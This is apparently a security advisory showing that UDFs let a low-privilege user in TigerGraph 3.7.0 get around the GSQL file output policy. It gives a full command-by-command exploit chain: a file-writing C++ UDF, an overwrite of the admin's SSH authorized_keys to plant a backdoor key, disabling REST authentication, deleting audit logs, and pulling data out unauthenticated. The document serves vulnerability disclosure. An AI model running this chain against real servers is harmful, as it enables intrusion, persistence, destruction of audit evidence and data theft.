The GSQL query language provides users with the ability to write data to files on a remote TigerGraph server. The locations that a query is allowed to write to are configurable via the GSQL.FileOutputPolicy configuration setting (see File Output Policy).
This report shows that GSQL queries which contain UDFs can bypass this configuration setting and as a consequence can write to any file location to which the administrative user has access. We demonstrate the seriousness of this by modifying the access controls of the administrative user to allow password-less login to an attacker via SSH. Once logged in the attacker has full administrative control of the application across all remote servers.
Impact
Severe.
It is not possible to guarantee that a user is unable to access sensitive data using the built-in access controls. Therefore, it is not possible to ensure confidentiality of uploaded data within a multi-tenant system – as both tenants can see each other's uploaded data.
Products/Versions Affected
- TigerGraph Enterprise Free Edition 3.7.0 Docker Image
- TigerGraph Enterprise Free Edition 3.7.0
We suspect that this vulnerability may be present in all TigerGraph products (although this is not confirmed).
Steps to Reproduce
Standup A TigerGraph System
Using docker download at the latest TigerGraph image and start the server:
1.) Optional: clean-up old TigerGraph docker images and obtain the latest version:
docker rm tigergraph docker pull tigergraph/tigergraph:latest latest: Pulling from tigergraph/tigergraph Digest: sha256:6c00ec6646f66a14fd0c7babdbf19bf9e70c5548aebc04ac8958015d5f62af31 Status: Image is up to date for tigergraph/tigergraph:latest docker.io/tigergraph/tigergraph:latest
2.) Download and run the docker image (note: we do not need to attach a volume):
docker run -d \ -p 14022:22 \ -p 9000:9000 \ -p 14240:14240 \ --name tigergraph \ --ulimit nofile=1000000:1000000 \ -t tigergraph/tigergraph:latest
3.) Once the container has started, connect to it via ssh (note: the default password is tigergraph):
ssh -p 14022 tigergraph@localhost
4.) Start all TigerGraph services
gadmin start all
5.) Using GSQL, create a new graph called test and add a node to it:
$ gsql
GSQL> CREATE VERTEX Node(PRIMARY_ID id UINT, value STRING) WITH primary_id_as_attribute="true"
GSQL> CREATE GRAPH test(*)
GSQL> begin
GSQL> CREATE QUERY ins(UINT id, STRING value) FOR GRAPH test {
GSQL> INSERT INTO Node VALUES(id, value);
GSQL> }
GSQL> end
GSQL> interpret query ins(1,"hello")
6.) Create a user — alice — with minimal privileges using GSQL:
gsql "create user" User Name : alice New Password : ***** Re-enter Password : *****
7.) Grant privileges to Alice:
gsql "grant role designer on graph test to alice"
8.) Enable RESTPP authentication
gadmin config set RESTPP.Factory.EnableAuth true gadmin config apply -y gadmin restart restpp nginx gui gsql -y
9.) Configure the system to only allow GSQL queries to write into a specific directory (Enter the new path manually in the prompt after executing the first command):
mkdir /home/tigergraph/gsql_output gadmin config entry GSQL.FileOutputPolicy GSQL.FileOutputPolicy [ ["/"] ]: The policy to control file outputs in GSQL queries New: ["/home/tigergraph/gsql_output"] [ Info] Configuration has been changed. Please use 'gadmin config apply' to persist the changes. gadmin config apply -y [ Note] Changes: GSQL.FileOutputPolicy: ["/"] -> ["/home/tigergraph/gsql_output"] Proceed to apply? (y/N)y [ Info] Successfully applied configuration change. Please restart services to make it effective immediately. gadmin restart gsql -y [ Note] Restart the service(s)? (y/N)y [ Info] Stopping GSQL [ Info] Starting ZK ETCD DICT KAFKA ADMIN GSE NGINX GPE RESTPP KAFKASTRM-LL KAFKACONN GSQL
Download GSQL Client and Connect
We will run our GSQL commands as our newly created user alice. To do this we will need to get a copy of the GSQL client that we can run locally. The easiest way to do this is to copy it from the docker image like so:
docker cp tigergraph:/home/tigergraph/tigergraph/app/3.7.0/dev/gdk/gsql/lib/gsql_client.jar gsql_client.jar
Once downloaded a GSQL console can be opened for alice by running the following command:
java -jar gsql_client.jar -ip localhost -u alice -g test Adding gsql-server host localhost Password for alice : ***** If there is any relative path, it is relative to <System.AppRoot>/dev/gdk/gsql Welcome to TigerGraph. GSQL >
Check FileOutputPolicy Is Being Enforced
First we check that the GSQL.FileOutputPolicy is working as expected by testing whether our user alice is able to write outside of the /home/tigergraph/gsql_output directory.
The steps to reproduce this are:
1.) Create a new GSQL query, called write_file, that creates a new file:
GSQL > begin
GSQL > create query write_file(string file, string value) for graph test {
GSQL > file f (file);
GSQL > f.println(value);
GSQL > }
GSQL > end
Successfully created queries: [write_file].
2.) Install the GSQL query:
GSQL > install query write_file Start installing queries, about 1 minute ... write_file query: curl -X GET 'https://127.0.0.1:9000/query/test/write_file?file=VALUE&value=VALUE'. Add -H "Authorization: Bearer TOKEN" if authentication is enabled. Select 'm1' as compile server, now connecting ... Node 'm1' is prepared as compile server. [========================================================================================================] 100% (1/1) Query installation finished.
3.) Run write_file with a file path that violates our GSQL.FileOutputPolicy:
GSQL > run query write_file("/home/tigergraph/test.txt", "hello this should not work")
Runtime Error: The path '/home/tigergraph/test.txt' is not allowed by the file output policy. The valid output path includes '/home/tigergraph/gsql_output'.
4.) Run write_file with a file path that does not violate our GSQL.FileOutputPolicy:
GSQL > run query write_file("/home/tigergraph/gsql_output/test.txt", "hello this should work")
{
"error": false,
"message": "",
"version": {
"schema": 0,
"edition": "enterprise",
"api": "v2"
},
"results": []
}
5.) Using our administrative SSH shell, check that our file was successfully written on the remote system:
ssh -p 14022 tigergraph@localhost Warning: Permanently added '[localhost]:14022' (ED25519) to the list of known hosts. tigergraph@localhost's password: Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.49-linuxkit x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. Last login: Tue Feb 7 13:47:38 2023 from 172.17.0.1 cat gsql_output/test.txt hello this should work
Bypassing GSQL.FileOutputPolicy Via UDFs
The following steps demonstrate that the GSQL.FileOutputPolicy does not apply to GSQL queries that make use of UDFs:
1.) Get a copy of the ExprFunctions.hpp file from the running docker container. Here we download it to a file called my-udf.hpp that we will add our new UDF into
docker cp tigergraph:/home/tigergraph/tigergraph/app/3.7.0/dev/gdk/gsql/src/QueryUdf/ExprFunctions.hpp my-udf.hpp
2.) Edit my-udf.hpp and add the two includes shown below to the list of existing includes near the top of the file:
#include <iostream> #include <fstream>
3.) After the to_string() function in my-udf.hpp add the following code that defines a UDF called write_to_file():
inline void write_to_file(string file, string value) {
std::ofstream OutFile(file);
OutFile << value << std::endl;
OutFile.close();
}
4.) Install the UDF on the remote system using the GSQL client (logged in as the administrative tigergraph user) like so:
java -jar gsql_client.jar -ip localhost Adding gsql-server host localhost If there is any relative path, it is relative to <System.AppRoot>/dev/gdk/gsql Welcome to TigerGraph. GSQL > put ExprFunctions from "./my-udf.hpp" PUT ExprFunctions successfully.
5.) Login using the GSQL client as user alice (a non-administrative user) and create a new query called write_file_udf that uses our newly installed UDF:
java -jar gsql_client.jar -ip localhost -g test -u alice
Adding gsql-server host localhost
Password for alice : *****
If there is any relative path, it is relative to <System.AppRoot>/dev/gdk/gsql
Welcome to TigerGraph.
GSQL > begin
GSQL > create query write_file_udf(string file, string value) for graph test {
GSQL > write_to_file(file, value);
GSQL > }
GSQL > end
Successfully created queries: [write_file_udf].
6.) Install the write_file_udf query:
GSQL > install query write_file_udf Start installing queries, about 1 minute ... write_file_udf query: curl -X GET 'https://127.0.0.1:9000/query/test/write_file_udf?file=VALUE&value=VALUE'. Add -H "Authorization: Bearer TOKEN" if authentication is enabled. Select 'm1' as compile server, now connecting ... Node 'm1' is prepared as compile server. [========================================================================================================] 100% (1/1) Query installation finished.
7.) Run the query with the set of parameters which previously failed:
GSQL > run query write_file_udf("/home/tigergraph/test.txt", "hello this should not work")
{
"error": false,
"message": "",
"version": {
"schema": 0,
"edition": "enterprise",
"api": "v2"
},
"results": []
}
8.) Login as the tigergraph administrative user via SSH and check whether the file has been created successfully:
ssh -p 14022 tigergraph@localhost Warning: Permanently added '[localhost]:14022' (ED25519) to the list of known hosts. tigergraph@localhost's password: Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.49-linuxkit x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. Last login: Tue Feb 7 13:47:38 2023 from 172.17.0.1 cat gsql_output/test.txt Hello this should not work
Demonstrating The Impact Of The Vulnerability
To demonstrate the severity of this vulnerability we will now use our write_file_query to install a backdoor into the remote TigerGraph server (as described in CVE-2023-XXXX). The following steps will describe how to overwrite the tigergraph user’s SSH access controls to accept a newly created SSH key to be used for authentication.
1.) Prepare a new SSH key on your local machine. We use the following command to create a new key in the file bad-key with its corresponding public key in the file bad-key.pub:
ssh-keygen -f bad-key Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in bad-key Your public key has been saved in bad-key.pub The key fingerprint is: SHA256:6H9Tqv60XkhU+6f82b18HvZvX6ZQaTGC1yUFIVCw5sU The key's randomart image is: +---[RSA 3072]----+ | o++ ++o| | = + o | | = E + | | . + o o + | | . S o = .| | . . ..+ o | | . ooo ooo| | . .+o .o+X| | .+=+. .*&| +----[SHA256]-----+
Note: we just left the password empty to enable us to use password-less SSH connections.
2.) Copy the contents of bad-key.pub into the clipboard:
cat bad-key.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBkok5o1cWQyQItUxGoAB0qqhCNYWcjXcp6cC/c7ARJIr/l2Ae7HKF8rLRdH6lhFW9MM6Y0KeQ48za8taAJzwISN4a5iVK4YyKSWfqiloyLqtVKn6zy1D2PqAuuaJUGSrTmqdy4YRodeHFOG+Y5rBTAIjv6SkgS39K/jpkfunF/8F7QRfjpF2Kwv2WbQ1lLohCt9dTtigWeYUJVjKb4ioBM25+hq0bjwttV9L+5QZWqGUbII3NyceOZSWf4EaqP2kRPRnRk4yC241AV3hrZRBVUxRcLhQBpe/2rxNMOr8yi1tTRf9/HHKYRfxp1LP2uVi7g0z6CcOVctONwSeDZCdDIxgWfUJeW4NVDG8nHUuNnnhY1nXYpoah2IG05tZ3uhDpSEDfgHiL2gPrbkRPSXDvk6Yg11bxp21aNsZ7M823qvXhyFLSvgAGxfYM/l6bUYkJO9MTXjB4a4aRzbaMymTFBSXtwJNuZ7t8S+kOTsSNQlXM5IpkRiXT8L9vCOPyxtM=
3.) Open a GSQL console as user alice and run our write query with the following parameters:
java -jar gsql_client.jar -ip localhost -g test -u alice
Adding gsql-server host localhost
Password for alice : *****
If there is any relative path, it is relative to <System.AppRoot>/dev/gdk/gsql
Welcome to TigerGraph.
GSQL > run query write_file_udf("/home/tigergraph/.ssh/authorized_keys", "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBkok5o1cWQyQItUxGoAB0qqhCNYWcjXcp6cC/c7ARJIr/l2Ae7HKF8rLRdH6lhFW9MM6Y0KeQ48za8taAJzwISN4a5iVK4YyKSWfqiloyLqtVKn6zy1D2PqAuuaJUGSrTmqdy4YRodeHFOG+Y5rBTAIjv6SkgS39K/jpkfunF/8F7QRfjpF2Kwv2WbQ1lLohCt9dTtigWeYUJVjKb4ioBM25+hq0bjwttV9L+5QZWqGUbII3NyceOZSWf4EaqP2kRPRnRk4yC241AV3hrZRBVUxRcLhQBpe/2rxNMOr8yi1tTRf9/HHKYRfxp1LP2uVi7g0z6CcOVctONwSeDZCdDIxgWfUJeW4NVDG8nHUuNnnhY1nXYpoah2IG05tZ3uhDpSEDfgHiL2gPrbkRPSXDvk6Yg11bxp21aNsZ7M823qvXhyFLSvgAGxfYM/l6bUYkJO9MTXjB4a4aRzbaMymTFBSXtwJNuZ7t8S+kOTsSNQlXM5IpkRiXT8L9vCOPyxtM= ")
{
"error": false,
"message": "",
"version": {
"schema": 0,
"edition": "enterprise",
"api": "v2"
},
"results": []
}
4.) From the folder that stores your newly created SSH key (bad-key and bad-key.pub) use the following SSH command to login to the remote TigerGraph server without requiring a password:
ssh -i bad-key -p 14022 tigergraph@localhost The authenticity of host '[localhost]:14022 ([::1]:14022)' can't be established. ED25519 key fingerprint is SHA256:YcV+9S8GKDc54TnX5UNIvOwub4D6d2aznpA1iuNLftY. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[localhost]:14022' (ED25519) to the list of known hosts. Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.49-linuxkit x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. Last login: Mon Feb 6 14:31:49 2023 from 172.17.0.1 $
Circumventing Security Features And Exfiltrating Data
Now that we have shell access as the administrative user, we can now disable authentication for the REST API and wipe out a selection of the systems audit logs:
tigergraph@092eb28b2d49:~$ gadmin config set RESTPP.Factory.EnableAuth false [ Info] Configuration has been changed. Please use 'gadmin config apply' to persist the changes. tigergraph@092eb28b2d49:~$ gadmin config apply [ Note] Changes: RESTPP.Factory.EnableAuth: true -> false Proceed to apply? (y/N)y [ Info] Successfully applied configuration change. Please restart services to make it effective immediately. tigergraph@092eb28b2d49:~$ gadmin restart restpp nginx gui gsql -y [ Info] Stopping NGINX RESTPP GSQL GUI [ Info] Starting ZK ETCD DICT KAFKA ADMIN GSE NGINX GPE RESTPP KAFKASTRM-LL KAFKACONN GSQL GUI tigergraph@092eb28b2d49:~$ rm gsql/* restpp/* controller/*
To prove that authentication is disabled we now exfiltrate data from the test graph without needing to authenticate our request:
curl -X GET "https://localhost:14240/restpp/graph/test/vertices/Node"
{"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":[{"v_id":"1","v_type":"Node","attributes":{"id":1,"value":"hello"}}]}%